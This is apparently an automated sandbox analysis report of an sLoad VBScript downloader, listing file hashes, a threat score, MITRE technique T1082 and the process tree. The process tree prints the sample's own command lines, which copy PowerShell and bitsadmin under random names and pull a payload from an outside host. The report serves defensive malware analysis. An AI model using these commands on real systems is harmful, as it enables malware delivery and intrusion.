sload | 109ce2c2ec110de51db1113ad11bcbb30c4c3ef02f2dda5a97a138f885f50f49

Analysis

max time kernel
120s
max time network
122s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
07-07-2024 10:35

Target

29ec374f3e6c877fb8d178d54bdc86d6_JaffaCakes118.vbs
Size

9KB
MD5

29ec374f3e6c877fb8d178d54bdc86d6
SHA1

dc798767bb280847a81f6fce72c2100c190a8135
SHA256

109ce2c2ec110de51db1113ad11bcbb30c4c3ef02f2dda5a97a138f885f50f49
SHA512

6d62ff0e4f6f329e9a6d45fd41703512fee0db53a9ca7b9fa9b7827337b026d06eba4ae12d08f5f7654d6b218670b779928071fa28c18aba812cd50b4421dc17
SSDEEP

192:GFPF/TusFUnu/nXWB+N7Z+ssQBq4MZEgo8xNQCBDG+Z0JK7WOG/bbfghfyFIFQF6:CTusFUnu/nXWm7Z+s5HMZEgo8xNQCBqg

Score

10^/10

sLoad
sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.
trojan stealer sload
Executes dropped EXE 1 IoCs

Processes:

rZbagMHin.exe

pid process

2516 rZbagMHin.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
2516	rZbagMHin.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

WScript.execmd.exe

description	pid	process	target process
PID 1936 wrote to memory of 1752	1936	WScript.exe	cmd.exe
PID 1936 wrote to memory of 1752	1936	WScript.exe	cmd.exe
PID 1936 wrote to memory of 1752	1936	WScript.exe	cmd.exe
PID 1752 wrote to memory of 2080	1752	cmd.exe	cmd.exe
PID 1752 wrote to memory of 2080	1752	cmd.exe	cmd.exe
PID 1752 wrote to memory of 2080	1752	cmd.exe	cmd.exe
PID 1752 wrote to memory of 2476	1752	cmd.exe	cmd.exe
PID 1752 wrote to memory of 2476	1752	cmd.exe	cmd.exe
PID 1752 wrote to memory of 2476	1752	cmd.exe	cmd.exe
PID 1936 wrote to memory of 2516	1936	WScript.exe	rZbagMHin.exe
PID 1936 wrote to memory of 2516	1936	WScript.exe	rZbagMHin.exe
PID 1936 wrote to memory of 2516	1936	WScript.exe	rZbagMHin.exe
PID 1936 wrote to memory of 2516	1936	WScript.exe	rZbagMHin.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\29ec374f3e6c877fb8d178d54bdc86d6_JaffaCakes118.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\avwyOLoh.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\rZbagMH*.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1752
- - C:\Windows\system32\cmd.exe
    cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\avwyOLoh.exe
    3⤵
    PID:2080
- - C:\Windows\system32\cmd.exe
    cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\rZbagMH*.exe
    3⤵
    PID:2476
- C:\ProgramData\rZbagMHin.exe
  "C:\ProgramData\rZbagMHin.exe" /wrap /transfer XMsrTAoB https://marthayfabrizio.com/fibra/09069420967/doc.doc C:\ProgramData\doc.doc
  2⤵
  - Executes dropped EXE
  PID:2516

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

C:\ProgramData\rZbagMHin.exe

Filesize
182KB

MD5
0920b14aa67a8b04acf48ffe7c6f0927

SHA1
3421124253058dc21453ebac531b67aeb999f627

SHA256
838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

SHA512
2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

Download Submit